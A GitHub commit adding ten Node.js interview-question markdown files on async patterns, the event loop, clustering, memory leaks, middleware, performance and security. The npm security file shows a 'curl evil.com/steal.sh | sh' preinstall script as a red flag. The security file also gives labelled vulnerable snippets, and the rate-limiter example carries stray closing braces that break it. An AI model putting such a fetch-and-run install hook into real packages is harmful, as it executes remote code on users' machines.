feat: Add 10 comprehensive Node.js interview questions (#9561)

* Add 10 comprehensive Node.js interview questions

This significantly expands the Node.js question coverage:

New questions added:
- Event loop working and its 6 phases
- Streams and buffers deep dive
- Cluster vs worker threads comparison
- Memory leak debugging techniques
- Middleware pattern in Express
- Async patterns (callbacks, promises, async/await)
- Security best practices (SQL injection, XSS, CSRF)
- Performance optimization techniques
- Testing asynchronous code
- NPM package security

Each question includes:
- Detailed explanations
- Working code examples
- Best practices
- Common pitfalls to avoid

This increases Node.js questions from 8 to 18, providing comprehensive interview preparation coverage.

* fix: use self-contained filter in compression middleware example

* fix: address all Copilot AI review comments and convert to ES modules

- Convert all CommonJS require() to ES modules import syntax
- Use compression.filter() as fallback in compression middleware
- Add cleanup interval to rate limiter to prevent memory leaks
- Remove unused fs.createWriteStream in heap snapshot example
- Fix promisify example to use callback-based fs API
- Split GET/POST tests into separate describe blocks
- Fix Jest timers with beforeEach/afterEach hooks
- Use specific version tag for GitHub Actions (security best practice)
This commit is contained in:
Md Saiyad Ali authored and GitHub committed 2026-03-30 10:05:38 +02:00
1 parent 6b3d0f833f
commit 2578f2d638
10 files changed
+2104

No files matched your search

@@ -0,0 +1,250 @@
Node.js provides multiple ways to handle asynchronous operations. Understanding when to use each pattern is crucial for writing clean, maintainable code and handling errors properly.
## 1. Callbacks (Traditional)
The original async pattern in Node.js. Error-first callbacks are the convention.
```js
import fs from 'node:fs';
// Error-first callback pattern
fs.readFile('file.txt', 'utf8', (err, data) => {
if (err) {
console.error('Error:', err.message);
return;
}
console.log('Data:', data);
});
// Callback Hell (avoid this!)
fs.readFile('file1.txt', (err, data1) => {
fs.readFile('file2.txt', (err, data2) => {
fs.readFile('file3.txt', (err, data3) => {
// Nested callbacks become unmanageable
});
});
});
```
## 2. Promises
Cleaner chaining and better error handling than callbacks.
```js
import fs from 'node:fs/promises';
// Promise chain
fs.readFile('file1.txt', 'utf8')
.then((data1) => {
console.log(data1);
return fs.readFile('file2.txt', 'utf8');
})
.then((data2) => {
console.log(data2);
})
.catch((err) => {
console.error('Error:', err.message);
})
.finally(() => {
console.log('Cleanup');
});
// Creating a Promise
function delay(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
// Promisify callback functions
import { promisify } from 'node:util';
import fsCallback from 'node:fs'; // callback-based API
const readFileAsync = promisify(fsCallback.readFile);
```
## 3. Async/Await
Syntactic sugar over Promises. Most readable and maintainable.
```js
import fs from 'node:fs/promises';
async function readFiles() {
try {
const data1 = await fs.readFile('file1.txt', 'utf8');
const data2 = await fs.readFile('file2.txt', 'utf8');
const data3 = await fs.readFile('file3.txt', 'utf8');
return { data1, data2, data3 };
} catch (err) {
console.error('Error:', err.message);
throw err;
}
}
// Call async function
readFiles()
.then(result => console.log(result))
.catch(err => console.error(err));
```
## Parallel vs Sequential Execution
### Sequential (One after another)
```js
async function sequential() {
const start = Date.now();
const result1 = await fetchData1(); // 1 second
const result2 = await fetchData2(); // 1 second
const result3 = await fetchData3(); // 1 second
console.log(`Time: ${Date.now() - start}ms`); // ~3000ms
}
```
### Parallel (All at once)
```js
async function parallel() {
const start = Date.now();
const [result1, result2, result3] = await Promise.all([
fetchData1(),
fetchData2(),
fetchData3()
]);
console.log(`Time: ${Date.now() - start}ms`); // ~1000ms
}
```
## Promise Utilities
### Promise.all() - All must succeed
```js
const results = await Promise.all([
fetch('/api/users'),
fetch('/api/posts'),
fetch('/api/comments')
]);
// Fails if ANY promise rejects
```
### Promise.allSettled() - Get all results
```js
const results = await Promise.allSettled([
fetch('/api/users'),
fetch('/api/posts'),
Promise.reject('Error')
]);
// Returns all results, even if some fail
// [{ status: 'fulfilled', value: ... }, { status: 'rejected', reason: ... }]
```
### Promise.race() - First to complete
```js
const result = await Promise.race([
fetch('/api/data'),
delay(5000).then(() => { throw new Error('Timeout'); })
]);
```
### Promise.any() - First to succeed
```js
const result = await Promise.any([
fetch('/api/primary'),
fetch('/api/backup1'),
fetch('/api/backup2')
]);
// Returns first successful result
```
## Error Handling Comparison
```js
// Callbacks
doSomething((err, result) => {
if (err) return handleError(err);
// handle result
});
// Promises
doSomething()
.then(result => { /* handle result */ })
.catch(err => handleError(err));
// Async/Await
try {
const result = await doSomething();
// handle result
} catch (err) {
handleError(err);
}
```
## When to Use Each Pattern
| Pattern | Best For | Avoid When |
|---------|----------|------------|
| Callbacks | Legacy code, streams, event emitters | New code, complex flows |
| Promises | Chaining operations, library APIs | Simple one-off operations |
| Async/Await | Most modern code, readability | Top-level module scope (ESM) |
## Common Mistakes
### Forgetting to await
```js
// ❌ Wrong - returns Promise, not result
async function getData() {
const data = fetchData(); // Missing await!
return data;
}
// ✅ Correct
async function getData() {
const data = await fetchData();
return data;
}
```
### Unnecessary async
```js
// ❌ Unnecessary async wrapper
async function getValue() {
return await Promise.resolve(42);
}
// ✅ Just return the promise
function getValue() {
return Promise.resolve(42);
}
```
### Not handling rejections
```js
// ❌ Unhandled rejection
async function riskyOperation() {
const data = await fetchData(); // Can throw!
}
// ✅ Always handle errors
async function safeOperation() {
try {
const data = await fetchData();
return data;
} catch (err) {
console.error('Failed:', err);
return null;
}
}
```
@@ -0,0 +1,172 @@
Node.js provides two main ways to utilize multiple CPU cores: the Cluster module and Worker Threads. Both help achieve parallelism but serve different purposes and have distinct characteristics.
## Cluster Module
Creates multiple processes (workers) that share the same server port. Each worker is a separate Node.js process with its own memory and V8 instance.
```js
import cluster from 'node:cluster';
import http from 'node:http';
import os from 'node:os';
const numCPUs = os.cpus().length;
if (cluster.isPrimary) {
console.log(`Primary ${process.pid} is running`);
// Fork workers for each CPU
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
cluster.on('exit', (worker, code, signal) => {
console.log(`Worker ${worker.process.pid} died`);
cluster.fork(); // Restart worker
});
} else {
// Workers share the TCP connection
http.createServer((req, res) => {
res.writeHead(200);
res.end(`Hello from worker ${process.pid}`);
}).listen(8000);
console.log(`Worker ${process.pid} started`);
}
```
## Worker Threads
Creates threads within the same process. Workers share memory (via SharedArrayBuffer) and are lighter than cluster workers.
```js
import { Worker, isMainThread, parentPort, workerData } from 'node:worker_threads';
if (isMainThread) {
// Main thread
const worker = new Worker(__filename, {
workerData: { num: 42 }
});
worker.on('message', (result) => {
console.log(`Result: ${result}`);
});
worker.on('error', (err) => {
console.error('Worker error:', err);
});
worker.on('exit', (code) => {
console.log(`Worker exited with code ${code}`);
});
} else {
// Worker thread
const { num } = workerData;
const result = heavyComputation(num);
parentPort.postMessage(result);
}
function heavyComputation(n) {
let sum = 0;
for (let i = 0; i < n * 1000000; i++) {
sum += i;
}
return sum;
}
```
## Key Differences
| Feature | Cluster | Worker Threads |
|---------|---------|----------------|
| **Isolation** | Separate processes | Same process |
| **Memory** | Separate memory | Can share memory |
| **Communication** | IPC (slower) | Message passing + SharedArrayBuffer |
| **Use Case** | HTTP servers | CPU-intensive tasks |
| **Overhead** | Higher (new process) | Lower (new thread) |
| **Crash Impact** | Worker crash is isolated | Can affect main thread |
## When to Use Cluster
Best for scaling HTTP servers across CPU cores:
```js
import cluster from 'node:cluster';
import os from 'node:os';
// Use with PM2 (recommended for production)
// pm2 start app.js -i max
// Or manually with cluster
const numCPUs = os.cpus().length;
if (cluster.isPrimary) {
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
} else {
app.listen(3000);
}
```
## When to Use Worker Threads
Best for CPU-intensive operations without blocking the event loop:
```js
// main.js
import { Worker } from 'node:worker_threads';
function runWorker(data) {
return new Promise((resolve, reject) => {
const worker = new Worker('./worker.js', { workerData: data });
worker.on('message', resolve);
worker.on('error', reject);
});
}
// Process image without blocking server
app.post('/process-image', async (req, res) => {
const result = await runWorker({ image: req.body.image });
res.json(result);
});
```
```js
// worker.js
import { workerData, parentPort } from 'node:worker_threads';
// Heavy image processing
const result = processImage(workerData.image);
parentPort.postMessage(result);
```
## Sharing Memory with Worker Threads
```js
// Main thread
import { Worker } from 'node:worker_threads';
const sharedBuffer = new SharedArrayBuffer(4);
const sharedArray = new Int32Array(sharedBuffer);
const worker = new Worker('./worker.js', {
workerData: { sharedBuffer }
});
// Both can read/write to sharedArray
Atomics.store(sharedArray, 0, 100);
// Worker thread
import { workerData } from 'node:worker_threads';
const sharedArray = new Int32Array(workerData.sharedBuffer);
console.log(Atomics.load(sharedArray, 0)); // 100
```
## Best Practices
1. **Use Cluster for HTTP servers** - Easy horizontal scaling
2. **Use Worker Threads for CPU work** - Image processing, parsing, calculations
3. **Don't overuse workers** - Thread pool size should match CPU cores
4. **Handle errors properly** - Workers can crash independently
5. **Consider PM2** - Production-ready process management for clusters
@@ -0,0 +1,83 @@
The Node.js event loop is the mechanism that allows Node.js to perform non-blocking I/O operations despite JavaScript being single-threaded. It continuously checks for and processes events and callbacks in a specific order through six distinct phases.
## Six Phases of Event Loop
### 1. Timers Phase
Executes callbacks scheduled by `setTimeout()` and `setInterval()`.
```js
setTimeout(() => {
console.log('Timer callback');
}, 100);
```
### 2. Pending Callbacks Phase
Executes I/O callbacks deferred from the previous cycle.
### 3. Idle, Prepare Phase
Used internally by Node.js.
### 4. Poll Phase
Retrieves new I/O events and executes I/O-related callbacks. This is where most application code runs.
```js
import fs from 'node:fs';
fs.readFile('file.txt', (err, data) => {
console.log('File read - executed in poll phase');
});
```
### 5. Check Phase
Executes `setImmediate()` callbacks.
```js
setImmediate(() => {
console.log('setImmediate callback');
});
```
### 6. Close Callbacks Phase
Handles close events like `socket.on('close')`.
## Microtasks vs Macrotasks
Microtasks (`process.nextTick()`, Promises) execute between each phase:
```js
setTimeout(() => console.log('1: setTimeout'), 0);
Promise.resolve().then(() => console.log('2: Promise'));
process.nextTick(() => console.log('3: nextTick'));
// Output order:
// 3: nextTick
// 2: Promise
// 1: setTimeout
```
## process.nextTick() vs setImmediate()
```js
// process.nextTick - executes before any I/O
process.nextTick(() => console.log('nextTick'));
// setImmediate - executes in check phase (after I/O)
setImmediate(() => console.log('setImmediate'));
// Inside I/O callback, setImmediate always runs first
import fs from 'node:fs';
fs.readFile('file.txt', () => {
setImmediate(() => console.log('setImmediate'));
setTimeout(() => console.log('setTimeout'), 0);
// Output: setImmediate, setTimeout
});
```
## Best Practices
- Never block the event loop with synchronous operations
- Use `setImmediate()` for breaking up CPU-intensive work
- Avoid recursive `process.nextTick()` calls (can starve I/O)
- Use worker threads for heavy computation
@@ -0,0 +1,179 @@
Memory leaks in Node.js occur when the application retains references to objects that are no longer needed, preventing garbage collection from freeing memory. Identifying and fixing these leaks is crucial for long-running applications.
## Common Causes of Memory Leaks
### 1. Unremoved Event Listeners
```js
// ❌ Memory leak: listeners accumulate
function handleRequest(req, res) {
req.on('data', (chunk) => {
// Process data
});
// Listener never removed!
}
// ✅ Fixed: Remove listeners when done
function handleRequest(req, res) {
const onData = (chunk) => {
// Process data
};
req.on('data', onData);
res.on('finish', () => {
req.removeListener('data', onData);
});
}
```
### 2. Global Variables
```js
// ❌ Memory leak: data keeps growing
const cache = {};
function processRequest(id, data) {
cache[id] = data; // Never cleaned up
}
// ✅ Fixed: Use LRU cache with size limit
import LRU from 'lru-cache';
const cache = new LRU({ max: 500 });
function processRequest(id, data) {
cache.set(id, data);
}
```
### 3. Closures Holding References
```js
// ❌ Memory leak: closure retains largeData
function createHandler() {
const largeData = new Array(1000000).fill('x');
return function handler(req, res) {
// largeData is retained even if not used
res.send('OK');
};
}
// ✅ Fixed: Don't capture unnecessary variables
function createHandler() {
return function handler(req, res) {
res.send('OK');
};
}
```
### 4. Timers Not Cleared
```js
// ❌ Memory leak: interval never cleared
function startPolling() {
setInterval(() => {
fetchData();
}, 1000);
}
// ✅ Fixed: Clear interval when done
function startPolling() {
const intervalId = setInterval(() => {
fetchData();
}, 1000);
return () => clearInterval(intervalId);
}
```
## Debugging Tools
### 1. Node.js Inspector (Chrome DevTools)
```bash
# Start with inspector
node --inspect app.js
# Or attach to running process
node --inspect=9229 app.js
```
Then open `chrome://inspect` in Chrome and take heap snapshots.
### 2. process.memoryUsage()
```js
// Monitor memory in application
setInterval(() => {
const usage = process.memoryUsage();
console.log({
heapUsed: `${Math.round(usage.heapUsed / 1024 / 1024)}MB`,
heapTotal: `${Math.round(usage.heapTotal / 1024 / 1024)}MB`,
external: `${Math.round(usage.external / 1024 / 1024)}MB`,
rss: `${Math.round(usage.rss / 1024 / 1024)}MB`
});
}, 5000);
```
### 3. Heap Snapshots Programmatically
```js
import v8 from 'node:v8';
function takeHeapSnapshot() {
const snapshotFile = `heap-${Date.now()}.heapsnapshot`;
v8.writeHeapSnapshot(snapshotFile);
console.log(`Heap snapshot written to ${snapshotFile}`);
}
// Take snapshot on SIGUSR2
process.on('SIGUSR2', takeHeapSnapshot);
```
### 4. Using clinic.js
```bash
# Install
npm install -g clinic
# Profile for memory issues
clinic doctor -- node app.js
clinic heapprofiler -- node app.js
```
## Detection Pattern
```js
// Simple leak detection
const initialMemory = process.memoryUsage().heapUsed;
setInterval(() => {
const currentMemory = process.memoryUsage().heapUsed;
const growth = currentMemory - initialMemory;
if (growth > 50 * 1024 * 1024) { // 50MB growth
console.warn('Possible memory leak detected!');
console.log(`Memory grew by ${Math.round(growth / 1024 / 1024)}MB`);
}
}, 30000);
```
## Best Practices to Prevent Leaks
1. **Always remove event listeners** when they're no longer needed
2. **Use WeakMap/WeakSet** for caches tied to object lifetime
3. **Set limits on caches and queues**
4. **Clear timeouts and intervals**
5. **Monitor memory in production** with APM tools
6. **Regular load testing** to catch leaks early
```js
// Example: WeakMap for metadata
const metadata = new WeakMap();
function attachMetadata(obj, data) {
metadata.set(obj, data);
// When obj is garbage collected, metadata entry is too
}
```
@@ -0,0 +1,227 @@
Middleware is a function that has access to the request object, response object, and the next middleware function in the application's request-response cycle. It's a core pattern in Express.js and similar frameworks for handling HTTP requests in a modular way.
## Basic Middleware Structure
```js
// Middleware function signature
function middleware(req, res, next) {
// Do something with req/res
console.log(`${req.method} ${req.url}`);
// Pass control to next middleware
next();
}
// Using middleware
import express from 'express';
const app = express();
app.use(middleware);
```
## Types of Middleware
### 1. Application-level Middleware
```js
const app = express();
// Runs for ALL requests
app.use((req, res, next) => {
req.requestTime = Date.now();
next();
});
// Runs only for /api/* routes
app.use('/api', (req, res, next) => {
console.log('API request');
next();
});
```
### 2. Router-level Middleware
```js
const router = express.Router();
// Middleware for this router only
router.use((req, res, next) => {
console.log('Router middleware');
next();
});
router.get('/users', (req, res) => {
res.json({ users: [] });
});
app.use('/api', router);
```
### 3. Error-handling Middleware
```js
// Must have 4 parameters
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).json({
error: 'Something went wrong!',
message: err.message
});
});
// Triggering error middleware
app.get('/error', (req, res, next) => {
const error = new Error('Test error');
next(error); // Passes to error middleware
});
```
### 4. Built-in Middleware
```js
// Parse JSON bodies
app.use(express.json());
// Parse URL-encoded bodies
app.use(express.urlencoded({ extended: true }));
// Serve static files
app.use(express.static('public'));
```
## Common Middleware Examples
### Authentication Middleware
```js
function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
}
// Use on protected routes
app.get('/profile', authenticate, (req, res) => {
res.json({ user: req.user });
});
```
### Logging Middleware
```js
function logger(req, res, next) {
const start = Date.now();
res.on('finish', () => {
const duration = Date.now() - start;
console.log(`${req.method} ${req.url} ${res.statusCode} - ${duration}ms`);
});
next();
}
app.use(logger);
```
### Rate Limiting Middleware
```js
const rateLimit = new Map();
function rateLimiter(limit = 100, windowMs = 60000) {
return (req, res, next) => {
const ip = req.ip;
const now = Date.now();
if (!rateLimit.has(ip)) {
rateLimit.set(ip, { count: 1, resetTime: now + windowMs });
return next();
}
const record = rateLimit.get(ip);
if (now > record.resetTime) {
// Window expired - reset and clean up
record.count = 1;
record.resetTime = now + windowMs;
return next();
}
if (record.count >= limit) {
return res.status(429).json({ error: 'Too many requests' });
}
record.count++;
next();
};
}
// Cleanup old entries periodically (prevents memory leak)
setInterval(() => {
const now = Date.now();
for (const [ip, record] of rateLimit.entries()) {
if (now > record.resetTime) {
rateLimit.delete(ip);
}
}
}, 60000); // Clean up every minute
};
}
app.use(rateLimiter(100, 60000));
```
## Middleware Execution Order
```js
app.use((req, res, next) => {
console.log('1: First middleware');
next();
});
app.use((req, res, next) => {
console.log('2: Second middleware');
next();
});
app.get('/', (req, res) => {
console.log('3: Route handler');
res.send('Hello');
});
// Output:
// 1: First middleware
// 2: Second middleware
// 3: Route handler
```
## Best Practices
1. **Always call next()** unless sending a response
2. **Order matters** - define middleware in correct sequence
3. **Keep middleware focused** - single responsibility
4. **Handle errors properly** - use error middleware
5. **Use async/await** - wrap async middleware to catch errors
```js
// Async middleware wrapper
const asyncHandler = (fn) => (req, res, next) => {
Promise.resolve(fn(req, res, next)).catch(next);
};
app.get('/users', asyncHandler(async (req, res) => {
const users = await User.find();
res.json(users);
}));
```
@@ -0,0 +1,253 @@
Managing npm package security is crucial for Node.js applications. Third-party dependencies can introduce vulnerabilities that compromise your entire application. Here's how to maintain a secure dependency chain.
## 1. Audit Dependencies
### npm audit
```bash
# Check for vulnerabilities
npm audit
# Get detailed JSON report
npm audit --json
# Fix automatically (where possible)
npm audit fix
# Force fix (may include breaking changes)
npm audit fix --force
```
### Understanding Severity Levels
| Level | Description | Action |
|-------|-------------|--------|
| Critical | Actively exploited | Fix immediately |
| High | Easily exploitable | Fix ASAP |
| Moderate | Requires specific conditions | Plan to fix |
| Low | Minimal impact | Fix when convenient |
## 2. Lock Files
Always commit lock files to ensure consistent installs.
```bash
# package-lock.json (npm)
npm ci # Clean install from lock file
# pnpm-lock.yaml (pnpm)
pnpm install --frozen-lockfile
# yarn.lock (yarn)
yarn install --frozen-lockfile
```
```json
// package.json - use exact versions
{
"dependencies": {
"express": "4.18.2", // Exact version
"lodash": "^4.17.21" // Allows minor updates (risky)
}
}
```
## 3. Automated Security Updates
### GitHub Dependabot
```yaml
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
reviewers:
- "security-team"
```
### Snyk Integration
```bash
# Install Snyk CLI
npm install -g snyk
# Authenticate
snyk auth
# Test for vulnerabilities
snyk test
# Monitor continuously
snyk monitor
# Fix vulnerabilities
snyk fix
```
## 4. Semantic Versioning Security
Understanding semver for security:
```
MAJOR.MINOR.PATCH
| | |
| | └── Bug fixes (safe to update)
| └──────── New features (usually safe)
└────────────── Breaking changes (review needed)
```
```json
// package.json ranges
{
"dependencies": {
"express": "4.18.2", // Exact: Safest
"lodash": "~4.17.21", // Patch updates only
"axios": "^1.4.0", // Minor + Patch (common, less safe)
"react": "*" // Any version (NEVER do this!)
}
}
```
## 5. Scanning for Malicious Packages
```bash
# Check package before installing
npm info <package-name>
# View package contents without installing
npm pack <package-name> --dry-run
# Check download stats and maintenance
npm view <package-name> time
```
### Red Flags to Watch For
1. **Typosquatting**: `expresss` instead of `express`
2. **Recently published** packages with few downloads
3. **No repository** or documentation
4. **Unusual install scripts**
```json
// Check for suspicious scripts in package.json
{
"scripts": {
"preinstall": "curl evil.com/steal.sh | sh", // 🚨 DANGER!
"postinstall": "node malicious.js" // 🚨 DANGER!
}
}
```
## 6. Using npx Safely
```bash
# ❌ Dangerous - runs any package
npx some-random-package
# ✅ Safer - specify exact version
npx create-react-app@5.0.1 my-app
# ✅ Check before running
npm info <package-name>
```
## 7. Private Registry and Scopes
```bash
# Use scoped packages from your org
npm install @mycompany/utils
# Configure private registry
npm config set @mycompany:registry https://npm.mycompany.com
# .npmrc file
@mycompany:registry=https://npm.mycompany.com
//npm.mycompany.com/:_authToken=${NPM_TOKEN}
```
## 8. Security Policies
### package.json overrides (npm 8.3+)
```json
{
"overrides": {
"lodash": "4.17.21",
"vulnerable-package": "2.0.0"
}
}
```
### pnpm overrides
```json
{
"pnpm": {
"overrides": {
"lodash": "4.17.21"
}
}
}
```
## 9. CI/CD Security Checks
```yaml
# GitHub Actions example
name: Security Check
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Node
uses: actions/setup-node@v3
with:
node-version: '18'
- name: Install dependencies
run: npm ci
- name: Run security audit
run: npm audit --audit-level=high
- name: Run Snyk
uses: snyk/actions/node@v1.1234.0 # Use specific version tag, not master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
```
## 10. Best Practices Checklist
- ✅ Run `npm audit` regularly (weekly minimum)
- ✅ Always commit lock files
- ✅ Use exact versions for critical packages
- ✅ Enable Dependabot or Renovate
- ✅ Review new dependencies before adding
- ✅ Remove unused dependencies
- ✅ Use scoped packages for internal code
- ✅ Avoid packages with suspicious install scripts
- ✅ Keep Node.js version updated
- ✅ Set up security checks in CI/CD
## Removing Unused Dependencies
```bash
# Find unused dependencies
npx depcheck
# Remove a package
npm uninstall unused-package
# Clean npm cache
npm cache clean --force
```
@@ -0,0 +1,273 @@
Optimizing Node.js performance involves understanding the event loop, efficient resource usage, and applying best practices for handling I/O operations, memory, and CPU-intensive tasks.
## 1. Avoid Blocking the Event Loop
```js
// ❌ Blocking - freezes the server
app.get('/hash', (req, res) => {
const hash = crypto.pbkdf2Sync(password, salt, 100000, 64, 'sha512');
res.send(hash);
});
// ✅ Non-blocking - uses thread pool
app.get('/hash', (req, res) => {
crypto.pbkdf2(password, salt, 100000, 64, 'sha512', (err, hash) => {
res.send(hash);
});
});
```
## 2. Use Caching Effectively
### In-Memory Caching
```js
import NodeCache from 'node-cache';
const cache = new NodeCache({ stdTTL: 600 }); // 10 min TTL
async function getUserData(userId) {
// Check cache first
const cached = cache.get(`user:${userId}`);
if (cached) return cached;
// Fetch from database
const user = await db.users.findById(userId);
// Store in cache
cache.set(`user:${userId}`, user);
return user;
}
```
### Redis Caching
```js
import Redis from 'ioredis';
const redis = new Redis();
async function getCachedData(key, fetchFn, ttl = 3600) {
const cached = await redis.get(key);
if (cached) return JSON.parse(cached);
const data = await fetchFn();
await redis.setex(key, ttl, JSON.stringify(data));
return data;
}
// Usage
const products = await getCachedData(
'products:all',
() => db.products.findAll(),
3600
);
```
## 3. Database Query Optimization
```js
// ❌ N+1 Query Problem
const users = await User.findAll();
for (const user of users) {
user.posts = await Post.findAll({ where: { userId: user.id } });
}
// ✅ Eager loading - single query with JOIN
const users = await User.findAll({
include: [{ model: Post }]
});
// ✅ Use indexes
// In your migration:
await queryInterface.addIndex('posts', ['userId']);
await queryInterface.addIndex('posts', ['createdAt']);
// ✅ Select only needed fields
const users = await User.findAll({
attributes: ['id', 'name', 'email'] // Don't select everything
});
// ✅ Pagination
const users = await User.findAll({
limit: 20,
offset: (page - 1) * 20
});
```
## 4. Use Streams for Large Data
```js
// ❌ Loads entire file in memory
app.get('/download', async (req, res) => {
const data = await fs.promises.readFile('large-file.csv');
res.send(data);
});
// ✅ Stream the file
app.get('/download', (req, res) => {
const stream = fs.createReadStream('large-file.csv');
res.setHeader('Content-Type', 'text/csv');
stream.pipe(res);
});
// ✅ Stream database results
app.get('/export', async (req, res) => {
res.setHeader('Content-Type', 'application/json');
res.write('[');
let first = true;
const cursor = User.find().cursor();
for await (const user of cursor) {
if (!first) res.write(',');
res.write(JSON.stringify(user));
first = false;
}
res.write(']');
res.end();
});
```
## 5. Connection Pooling
```js
// PostgreSQL with pg
import { Pool } from 'pg';
const pool = new Pool({
max: 20, // Max connections in pool
idleTimeoutMillis: 30000,
connectionTimeoutMillis: 2000,
});
// Reuse connections from pool
app.get('/users', async (req, res) => {
const client = await pool.connect();
try {
const result = await client.query('SELECT * FROM users');
res.json(result.rows);
} finally {
client.release(); // Return to pool
}
});
```
## 6. Compression
```js
import compression from 'compression';
// Basic compression (uses sensible defaults)
app.use(compression());
// With custom options
app.use(compression({
level: 6, // Compression level (1-9)
threshold: 1024, // Only compress if > 1KB
}));
// Custom filter to skip compression for certain requests
app.use(compression({
filter: (req, res) => {
// Skip compression if client requests it
if (req.headers['x-no-compression']) return false;
// Fallback to the default compression filter behavior
return compression.filter(req, res);
}
}));
```
## 7. Use Clustering
```js
import cluster from 'node:cluster';
import os from 'node:os';
if (cluster.isPrimary) {
const numCPUs = os.cpus().length;
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
cluster.on('exit', (worker) => {
console.log(`Worker ${worker.process.pid} died`);
cluster.fork(); // Restart
});
} else {
await import('./app.js'); // Your Express app
}
// Or use PM2 (recommended)
// pm2 start app.js -i max
```
## 8. Optimize JSON Operations
```js
// ❌ Slow for large objects
const data = JSON.parse(largeJsonString);
// ✅ Use streaming JSON parser
import { parser } from 'stream-json';
import { streamArray } from 'stream-json/streamers/StreamArray.js';
fs.createReadStream('large.json')
.pipe(parser())
.pipe(streamArray())
.on('data', ({ value }) => {
// Process each item
});
// ✅ Use faster JSON libraries
import fastJson from 'fast-json-stringify';
const stringify = fastJson({
type: 'object',
properties: {
id: { type: 'integer' },
name: { type: 'string' }
}
});
const json = stringify({ id: 1, name: 'John' }); // Faster than JSON.stringify
```
## 9. Monitoring and Profiling
```js
// Monitor event loop lag
const start = process.hrtime();
setImmediate(() => {
const delta = process.hrtime(start);
const lag = (delta[0] * 1e9 + delta[1]) / 1e6;
if (lag > 100) {
console.warn(`Event loop lag: ${lag}ms`);
}
});
// Memory monitoring
setInterval(() => {
const used = process.memoryUsage();
console.log({
heapUsed: `${Math.round(used.heapUsed / 1024 / 1024)}MB`,
heapTotal: `${Math.round(used.heapTotal / 1024 / 1024)}MB`
});
}, 30000);
```
## Performance Checklist
- ✅ Use async/await and don't block event loop
- ✅ Implement caching (Redis, in-memory)
- ✅ Optimize database queries (indexes, eager loading)
- ✅ Use streams for large data
- ✅ Enable compression
- ✅ Use connection pooling
- ✅ Cluster your application
- ✅ Monitor performance metrics
- ✅ Profile and identify bottlenecks
@@ -0,0 +1,231 @@
Security is critical for Node.js applications, especially those handling sensitive data or exposed to the internet. Here are the most common vulnerabilities and how to prevent them.
## 1. SQL Injection Prevention
Never concatenate user input directly into queries.
```js
// ❌ Vulnerable to SQL injection
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
db.query(query);
// ✅ Use parameterized queries
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [req.params.id]);
// ✅ With an ORM (Sequelize)
const user = await User.findOne({
where: { id: req.params.id }
});
```
## 2. NoSQL Injection Prevention
```js
// ❌ Vulnerable - user can pass { $gt: "" }
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// ✅ Validate and sanitize input
const { username, password } = req.body;
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({
username: username.toString(),
password: password.toString()
});
```
## 3. XSS (Cross-Site Scripting) Prevention
```js
// ❌ Vulnerable - renders user input as HTML
app.get('/profile', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
// ✅ Escape HTML entities
import escapeHtml from 'escape-html';
app.get('/profile', (req, res) => {
res.send(`<h1>Hello ${escapeHtml(req.query.name)}</h1>`);
});
// ✅ Use Content Security Policy
import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
}
}));
```
## 4. Using Helmet.js
Helmet sets various HTTP headers to secure your app.
```js
import helmet from 'helmet';
import express from 'express';
const app = express();
// Use all default protections
app.use(helmet());
// Or configure individually
app.use(helmet.xssFilter());
app.use(helmet.noSniff());
app.use(helmet.hidePoweredBy());
app.use(helmet.frameguard({ action: 'deny' }));
```
## 5. Rate Limiting
Prevent brute force and DDoS attacks.
```js
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // limit each IP to 100 requests per window
message: 'Too many requests, please try again later'
});
app.use('/api/', limiter);
// Stricter limit for auth endpoints
const authLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 5,
message: 'Too many login attempts'
});
app.use('/api/login', authLimiter);
```
## 6. Secure Authentication
```js
import bcrypt from 'bcrypt';
import jwt from 'jsonwebtoken';
// Hash passwords
const hashPassword = async (password) => {
const salt = await bcrypt.genSalt(12);
return bcrypt.hash(password, salt);
};
// Verify passwords
const verifyPassword = async (password, hash) => {
return bcrypt.compare(password, hash);
};
// Generate JWT
const generateToken = (user) => {
return jwt.sign(
{ id: user.id, email: user.email },
process.env.JWT_SECRET,
{ expiresIn: '1h' }
);
};
// Use HTTP-only cookies for tokens
res.cookie('token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 3600000
});
```
## 7. Input Validation
```js
import Joi from 'joi';
const userSchema = Joi.object({
username: Joi.string().alphanum().min(3).max(30).required(),
email: Joi.string().email().required(),
password: Joi.string().min(8).pattern(/^(?=.*[A-Za-z])(?=.*\d)/).required()
});
app.post('/register', async (req, res) => {
try {
const validated = await userSchema.validateAsync(req.body);
// Process validated data
} catch (err) {
res.status(400).json({ error: err.details[0].message });
}
});
```
## 8. Secure Environment Variables
```js
// ❌ Never hardcode secrets
const JWT_SECRET = 'mysecret123';
// ✅ Use environment variables
import 'dotenv/config';
const JWT_SECRET = process.env.JWT_SECRET;
// ✅ Validate required env vars at startup
const requiredEnvVars = ['JWT_SECRET', 'DATABASE_URL', 'API_KEY'];
requiredEnvVars.forEach((varName) => {
if (!process.env[varName]) {
console.error(`Missing required env var: ${varName}`);
process.exit(1);
}
});
```
## 9. HTTPS and Secure Cookies
```js
// Force HTTPS in production
if (process.env.NODE_ENV === 'production') {
